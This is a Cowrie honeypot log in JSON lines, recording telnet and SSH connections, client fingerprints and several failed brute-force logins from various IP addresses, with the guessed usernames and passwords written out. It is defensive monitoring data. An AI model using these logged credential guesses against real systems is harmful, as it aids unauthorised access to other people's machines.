{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":47146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9705184dc0","protocol":"telnet","message":"New connection: 161.97.105.174:47146 (159.203.135.109:23) [session: 8e9705184dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:13.518950Z"}
{"eventid":"cowrie.session.closed","duration":25.221579551696777,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:14.153051Z","src_ip":"64.227.101.30","session":"c53236f90a5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31846857070923,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:14.426606Z","src_ip":"64.227.101.30","session":"242f596eca02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.067894220352173,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:17.438713Z","src_ip":"68.183.198.12","session":"91892a4c439f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"585f5bbc4347","protocol":"telnet","message":"New connection: 64.227.101.30:43506 (10.17.0.5:23) [session: 585f5bbc4347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:17.628028Z"}
{"eventid":"cowrie.session.closed","duration":42.101662158966064,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:18.313696Z","src_ip":"68.183.198.12","session":"d1700804c2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"a707d0c9298d","protocol":"telnet","message":"New connection: 64.227.101.30:45592 (10.17.0.5:23) [session: a707d0c9298d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:20.491073Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47464,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4cfd1346e0","protocol":"telnet","message":"New connection: 64.227.101.30:47464 (10.17.0.5:23) [session: eb4cfd1346e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:23.661758Z"}
{"eventid":"cowrie.session.closed","duration":44.85389184951782,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:23.728503Z","src_ip":"64.227.101.30","session":"342029498d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.39327096939087,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:24.223006Z","src_ip":"68.183.198.12","session":"5373e20f15ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48424,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9fcd207e304","protocol":"telnet","message":"New connection: 64.227.101.30:48424 (10.17.0.5:23) [session: a9fcd207e304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:24.693497Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1216d9a72f9","protocol":"telnet","message":"New connection: 64.227.101.30:49276 (10.17.0.5:23) [session: f1216d9a72f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:27.595020Z"}
{"eventid":"cowrie.session.closed","duration":38.19395470619202,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:28.887104Z","src_ip":"64.227.101.30","session":"c8d05503b08c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33402,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb3f38785137","protocol":"telnet","message":"New connection: 68.183.198.12:33402 (159.203.135.109:23) [session: fb3f38785137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:29.485993Z"}
{"eventid":"cowrie.session.closed","duration":44.99725270271301,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:29.904572Z","src_ip":"64.227.101.30","session":"11e48eec9e0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":45960,"dst_ip":"10.17.0.5","dst_port":22,"session":"71dec6f3bae3","protocol":"ssh","message":"New connection: 43.165.185.71:45960 (10.17.0.5:22) [session: 71dec6f3bae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:30.695868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:30.700712Z","src_ip":"43.165.185.71","session":"71dec6f3bae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:30.876887Z","src_ip":"43.165.185.71","session":"71dec6f3bae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xsw21qaz","message":"login attempt [ubuntu/xsw21qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:31.616360Z","src_ip":"43.165.185.71","session":"71dec6f3bae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51910,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a601fd5e40","protocol":"telnet","message":"New connection: 64.227.101.30:51910 (10.17.0.5:23) [session: 77a601fd5e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:32.211867Z"}
{"eventid":"cowrie.session.closed","duration":35.505146980285645,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:32.242170Z","src_ip":"64.227.101.30","session":"ed6fa9cba957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:32.796477Z","src_ip":"43.165.185.71","session":"71dec6f3bae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49018,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0e292b01c9","protocol":"telnet","message":"New connection: 64.227.101.30:49018 (10.17.0.5:23) [session: 1d0e292b01c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:34.083694Z"}
{"eventid":"cowrie.session.closed","duration":0.882439136505127,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:34.965980Z","src_ip":"64.227.101.30","session":"1d0e292b01c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.45693635940552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:36.681211Z","src_ip":"64.227.101.30","session":"d15e46c2da93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.109649658203125,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:39.312596Z","src_ip":"64.227.101.30","session":"37e1eca318fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34718,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9c2c8445b1","protocol":"telnet","message":"New connection: 68.183.198.12:34718 (159.203.135.109:23) [session: 4d9c2c8445b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:39.466191Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3acbd26e666","protocol":"telnet","message":"New connection: 68.183.198.12:34994 (159.203.135.109:23) [session: f3acbd26e666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:40.398126Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55730,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b190d807f85","protocol":"telnet","message":"New connection: 64.227.101.30:55730 (10.17.0.5:23) [session: 3b190d807f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:41.011824Z"}
{"eventid":"cowrie.session.closed","duration":33.464987993240356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:41.588959Z","src_ip":"64.227.101.30","session":"1c52578fd94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.06933808326721,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:43.721054Z","src_ip":"64.227.101.30","session":"6662ae174609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90369200706482,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:44.532994Z","src_ip":"68.183.198.12","session":"c7498b808acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3398380279541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:45.858735Z","src_ip":"161.97.105.174","session":"8e9705184dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.99704909324646,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:48.520999Z","src_ip":"64.227.101.30","session":"ab9d3262048c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.692577838897705,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:49.966538Z","src_ip":"68.183.198.12","session":"db2411b4e51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36762,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3cf02bde03b","protocol":"telnet","message":"New connection: 68.183.198.12:36762 (159.203.135.109:23) [session: e3cf02bde03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:53.327118Z"}
{"eventid":"cowrie.session.closed","duration":46.08422255516052,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:53.608938Z","src_ip":"64.227.101.30","session":"b0fb74bb6c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e49ec35c23d","protocol":"telnet","message":"New connection: 64.227.101.30:34942 (10.17.0.5:23) [session: 1e49ec35c23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:54.976358Z"}
{"eventid":"cowrie.session.closed","duration":120.00140762329102,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:55.178867Z","src_ip":"68.183.198.12","session":"6a2a36e1fe4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36130,"dst_ip":"10.17.0.5","dst_port":23,"session":"2780d161b405","protocol":"telnet","message":"New connection: 64.227.101.30:36130 (10.17.0.5:23) [session: 2780d161b405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:56.096680Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36332,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d4509e82b0","protocol":"telnet","message":"New connection: 64.227.101.30:36332 (10.17.0.5:23) [session: 02d4509e82b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:56.494202Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"64153890d805","protocol":"ssh","message":"New connection: 193.32.162.145:41188 (10.17.0.5:22) [session: 64153890d805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:57.580369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:57.585045Z","src_ip":"193.32.162.145","session":"64153890d805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:57.684899Z","src_ip":"193.32.162.145","session":"64153890d805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36076,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fd0b754982","protocol":"telnet","message":"New connection: 64.227.101.30:36076 (10.17.0.5:23) [session: 26fd0b754982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:57.980933Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:57.996621Z","src_ip":"193.32.162.145","session":"64153890d805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ebd7d9caffa","protocol":"telnet","message":"New connection: 68.183.198.12:37114 (159.203.135.109:23) [session: 0ebd7d9caffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:58.894430Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:06:59.100594Z","src_ip":"193.32.162.145","session":"64153890d805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"53437b09ebeb","protocol":"telnet","message":"New connection: 64.227.101.30:34406 (10.17.0.5:23) [session: 53437b09ebeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:00.046687Z"}
{"eventid":"cowrie.session.closed","duration":0.14063811302185059,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:00.187186Z","src_ip":"64.227.101.30","session":"53437b09ebeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.092305183410645,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:03.049092Z","src_ip":"64.227.101.30","session":"d1195dc03f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82477068901062,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:03.486449Z","src_ip":"64.227.101.30","session":"eb4cfd1346e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.302138805389404,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:03.995500Z","src_ip":"64.227.101.30","session":"a9fcd207e304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":44674,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5a109a6e4ab","protocol":"ssh","message":"New connection: 103.170.173.26:44674 (10.17.0.5:22) [session: d5a109a6e4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:04.365045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:04.369904Z","src_ip":"103.170.173.26","session":"d5a109a6e4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:04.636866Z","src_ip":"103.170.173.26","session":"d5a109a6e4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptestusr","password":"ftptestusr","message":"login attempt [ftptestusr/ftptestusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:06.479742Z","src_ip":"103.170.173.26","session":"d5a109a6e4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40612,"dst_ip":"10.17.0.5","dst_port":23,"session":"95907e8e41ca","protocol":"telnet","message":"New connection: 64.227.101.30:40612 (10.17.0.5:23) [session: 95907e8e41ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:07.148350Z"}
{"eventid":"cowrie.session.closed","duration":47.17363500595093,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:07.664633Z","src_ip":"64.227.101.30","session":"a707d0c9298d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:07.745198Z","src_ip":"103.170.173.26","session":"d5a109a6e4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.13020730018616,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:11.616094Z","src_ip":"68.183.198.12","session":"fb3f38785137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.91002154350281,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:14.121755Z","src_ip":"64.227.101.30","session":"77a601fd5e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.790602684020996,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:14.385504Z","src_ip":"64.227.101.30","session":"f1216d9a72f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec61b44bd47","protocol":"telnet","message":"New connection: 64.227.101.30:46162 (10.17.0.5:23) [session: eec61b44bd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:14.394978Z"}
{"eventid":"cowrie.session.closed","duration":62.156970739364624,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:19.784899Z","src_ip":"64.227.101.30","session":"585f5bbc4347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.52564311027527,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:21.424551Z","src_ip":"64.227.101.30","session":"858551de657b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.94879174232483,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:22.960463Z","src_ip":"64.227.101.30","session":"3b190d807f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.471388816833496,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:24.869418Z","src_ip":"68.183.198.12","session":"f3acbd26e666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":40880,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a7a4b79c3c7","protocol":"ssh","message":"New connection: 43.165.185.71:40880 (10.17.0.5:22) [session: 4a7a4b79c3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:25.262432Z"}
